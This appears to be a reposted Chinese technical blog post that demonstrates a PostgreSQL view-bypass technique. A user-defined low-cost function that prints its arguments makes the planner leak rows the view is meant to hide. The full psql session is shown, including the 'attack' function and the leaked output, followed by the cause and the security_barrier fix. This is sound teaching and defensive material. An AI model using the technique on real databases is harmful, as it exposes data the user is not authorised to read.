PostgreSQL视图攻击策略

文章来源链接：https://juejin.cn/post/7132840438553116685

我们常常使用视图来限制用户只能访问部分数据，来保证数据安全。但是在pg中某些情况下即使使用了视图仍然难以保证数据的安全。

例子：
创建测试表，插入数据：

postgres@postgres=>create table t1(id int,info text);
CREATE TABLE
postgres@postgres=>insert into t1 select generate_series(1,5),md5(random()::text);
INSERT 0 5
postgres@postgres=>select * from t1;
 id |               info               
----+----------------------------------
  1 | bb21ba70565bee51cfdc70ac1d93f73f
  2 | 82c3d3c320173df343f831ab420674f3
  3 | 4e542c680a211e224d941a4830fb5442
  4 | 7bc43ec02635d94930af5de0efe7211e
  5 | f57678217ebd1527d02bc8035b3fe2ee
(5 rows)

创建视图，仅能访问id=1的数据

postgres@postgres=>create view v_t1 as select * from t1 where id = 1;
CREATE VIEW
postgres@postgres=>select * from v_t1;
 id |               info               
----+----------------------------------
  1 | bb21ba70565bee51cfdc70ac1d93f73f
(1 row)

使用普通用户查看表和视图：
可以看到都没有权限。

postgres@postgres=>\c - user1
You are now connected to database "postgres" as user "user1".
user1@postgres=>select * from t1;
ERROR:  permission denied for table t1
user1@postgres=>select * from v_t1;
ERROR:  permission denied for view v_t1

接下来我们赋给用户访问视图的权限：
现在我们使用user1用户可以查看视图v_t1的数据了。

postgres@postgres=>grant select on v_t1 to user1;
GRANT
postgres@postgres=>\c - user1
You are now connected to database "postgres" as user "user1".
user1@postgres=>select * from t1;
ERROR:  permission denied for table t1
user1@postgres=>select * from v_t1;
 id |               info               
----+----------------------------------
  1 | bb21ba70565bee51cfdc70ac1d93f73f
(1 row)

利用视图攻击的方法，来得到不能够被访问的数据。

user1@postgres=>create or replace function attack(int,text) returns boolean as $$  
postgres$> declare  
postgres$> begin  
postgres$>   raise notice '%,%', $1,$2;  
postgres$>   return true;  
postgres$> end;  
postgres$> $$ language plpgsql cost 0.;  
CREATE FUNCTION

user1@postgres=>select * from v_t1 where attack(id,info);
NOTICE:  1,bb21ba70565bee51cfdc70ac1d93f73f
NOTICE:  2,82c3d3c320173df343f831ab420674f3
NOTICE:  3,4e542c680a211e224d941a4830fb5442
NOTICE:  4,7bc43ec02635d94930af5de0efe7211e
NOTICE:  5,f57678217ebd1527d02bc8035b3fe2ee
 id |               info               
----+----------------------------------
  1 | bb21ba70565bee51cfdc70ac1d93f73f
(1 row)

除了原先id=1的数据之外，其它数据也被打印出来了！

对比执行计划：
我们可以发现和原先相比并没什么区别。

user1@postgres=>explain (analyze,verbose,costs,buffers,timing) select * from v_t1 where attack(id,info); 
NOTICE:  1,bb21ba70565bee51cfdc70ac1d93f73f
NOTICE:  2,82c3d3c320173df343f831ab420674f3
NOTICE:  3,4e542c680a211e224d941a4830fb5442
NOTICE:  4,7bc43ec02635d94930af5de0efe7211e
NOTICE:  5,f57678217ebd1527d02bc8035b3fe2ee
                                             QUERY PLAN                                              
-----------------------------------------------------------------------------------------------------
 Seq Scan on public.t1  (cost=0.00..25.88 rows=2 width=36) (actual time=0.071..0.098 rows=1 loops=1)
   Output: t1.id, t1.info
   Filter: (attack(t1.id, t1.info) AND (t1.id = 1))
   Rows Removed by Filter: 4
   Buffers: shared hit=1
 Planning Time: 0.082 ms
 Execution Time: 0.128 ms
(7 rows)

user1@postgres=>explain (analyze,verbose,costs,buffers,timing) select * from v_t1;
                                             QUERY PLAN                                              
-----------------------------------------------------------------------------------------------------
 Seq Scan on public.t1  (cost=0.00..25.88 rows=6 width=36) (actual time=0.011..0.012 rows=1 loops=1)
   Output: t1.id, t1.info
   Filter: (t1.id = 1)
   Rows Removed by Filter: 4
   Buffers: shared hit=1
 Planning Time: 0.062 ms
 Execution Time: 0.032 ms
(7 rows)

那么这是为什么呢？
原因是pg中在生成执行树时, 先执行成本低的再执行成本高的。也就是说上面的语句其实先执行成本低的函数attack, 然后才执行成本高的id=1。

attack函数的成本是0.1，那么id=1的成本是多少呢？=的成本其实就是函数int4eq的成本。

user1@postgres=>select * from pg_operator where oprname='=' and oprleft=23 and oprright=23;  
 oid | oprname | oprnamespace | oprowner | oprkind | oprcanmerge | oprcanhash | oprleft | oprright | oprresult | oprcom | oprnegate | oprcode | oprrest |  oprjoin  
-----+---------+--------------+----------+---------+-------------+------------+---------+----------+-----------+--------+-----------+---------+---------+-----------
  96 | =       |           11 |       10 | b       | t           | t          |      23 |       23 |        16 |     96 |       518 | int4eq  | eqsel   | eqjoinsel
(1 row)

查看int4eq函数的成本：

user1@postgres=>select * from pg_proc where proname='int4eq'; 
-[ RECORD 1 ]---+-------
oid             | 65
proname         | int4eq
pronamespace    | 11
proowner        | 10
prolang         | 12
procost         | 1
prorows         | 0
provariadic     | 0
prosupport      | -
prokind         | f
prosecdef       | f
proleakproof    | t
proisstrict     | t
proretset       | f
provolatile     | i
proparallel     | s
pronargs        | 2
pronargdefaults | 0
prorettype      | 16
proargtypes     | 23 23
proallargtypes  | 
proargmodes     | 
proargnames     | 
proargdefaults  | 
protrftypes     | 
prosrc          | int4eq
probin          | 
proconfig       | 
proacl          | 

int4eq函数, 这个函数的cost=1,这也是为什么会先执行attack函数了。

接下来我们调整attack函数的成本再试试：
此时就不会打印其它数据了。

user1@postgres=>create or replace function attack(int,text) returns boolean as $$  
postgres$> declare  
postgres$> begin  
postgres$>   raise notice '%,%', $1,$2;  
postgres$>   return true;  
postgres$> end;  
postgres$> $$ language plpgsql cost 1.1;  
CREATE FUNCTION

user1@postgres=>select * from v_t1 where attack(id,info);                          
NOTICE:  1,bb21ba70565bee51cfdc70ac1d93f73f
 id |               info               
----+----------------------------------
  1 | bb21ba70565bee51cfdc70ac1d93f73f
(1 row)

为了防止视图攻击的出现，我们可以在创建视图时指定security_barrier，建立安全的视图。

postgres@postgres=>create view v_t1_1 with(security_barrier) as select * from t1 where id=1;
CREATE VIEW
postgres@postgres=>grant select on v_t1_1 to user1;
GRANT

查看非安全视图：

user1@postgres=>select * from v_t1 where attack(id,info); 
NOTICE:  1,bb21ba70565bee51cfdc70ac1d93f73f
NOTICE:  2,82c3d3c320173df343f831ab420674f3
NOTICE:  3,4e542c680a211e224d941a4830fb5442
NOTICE:  4,7bc43ec02635d94930af5de0efe7211e
NOTICE:  5,f57678217ebd1527d02bc8035b3fe2ee
 id |               info               
----+----------------------------------
  1 | bb21ba70565bee51cfdc70ac1d93f73f
(1 row)

查看安全视图：

user1@postgres=>select * from v_t1_1 where attack(id,info);
NOTICE:  1,bb21ba70565bee51cfdc70ac1d93f73f
 id |               info               
----+----------------------------------
  1 | bb21ba70565bee51cfdc70ac1d93f73f
(1 row)